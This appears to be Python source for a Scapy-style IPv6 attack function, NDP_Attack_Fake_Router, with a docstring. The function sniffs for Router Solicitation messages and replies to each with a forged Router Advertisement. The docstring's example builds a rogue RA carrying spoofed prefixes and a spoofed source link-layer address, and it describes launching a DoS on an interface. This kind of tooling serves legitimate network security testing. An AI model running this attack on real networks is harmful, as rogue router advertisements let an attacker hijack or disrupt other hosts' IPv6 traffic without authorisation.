docs: def NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None,
                             ip_src_filter=None):
      """
      The purpose of this function is to send provided RA message at layer 2
      (i.e. providing a packet starting with IPv6 will not work) in response
      to received RS messages. In the end, the function is a simple wrapper
      around sendp() that monitor the link for RS messages.
  
      It is probably better explained with an example:
  
        >>> ra  = Ether()/IPv6()/ICMPv6ND_RA()
        >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64)
        >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:2::", prefixlen=64)
        >>> ra /= ICMPv6NDOptSrcLLAddr(lladdr="00:11:22:33:44:55")
        >>> NDP_Attack_Fake_Router(ra, iface="eth0")
        Fake RA sent in response to RS from fe80::213:58ff:fe8c:b573
        Fake RA sent in response to RS from fe80::213:72ff:fe8c:b9ae
        ...
  
      Following arguments can be used to change the behavior:
  
        ra: the RA message to send in response to received RS message.
  
        iface: a specific interface (e.g. "eth0") of the system on which the
               DoS should be launched. If none is provided, conf.iface is
               used.
  
        mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
           Only RS messages received from this source will trigger a reply.
           Note that no changes to provided RA is done which imply that if
           you intend to target only the source of the RS using this option,
           you will have to set the Ethernet destination address to the same
           value in your RA.
           The default value for this parameter is None: no filtering on the
           source of RS is done.
  
      ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
           on. Only RS messages received from this source address will trigger
           replies. Same comment as for previous argument apply: if you use
           the option, you will probably want to set a specific Ethernet
           destination address in the RA.
      """
  
      def is_request(req, mac_src_filter, ip_src_filter):
          """
          Check if packet req is a request
          """
  
          if not (Ether in req and IPv6 in req and ICMPv6ND_RS in req):
              return 0
  
          mac_src = req[Ether].src
          if mac_src_filter and mac_src != mac_src_filter:
              return 0
  
          ip_src = req[IPv6].src
          if ip_src_filter and ip_src != ip_src_filter:
              return 0
  
          return 1
  
      def ra_reply_callback(req, iface):
          """
          Callback that sends an RA in reply to an RS
          """
  
          src = req[IPv6].src
          sendp(ra, iface=iface, verbose=0)
          print("Fake RA sent in response to RS from %s" % src)
  
      if not iface:
          iface = conf.iface
      sniff_filter = "icmp6"
  
      sniff(store=0,
            filter=sniff_filter,
            lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),
            prn=lambda x: ra_reply_callback(x, iface),
            iface=iface)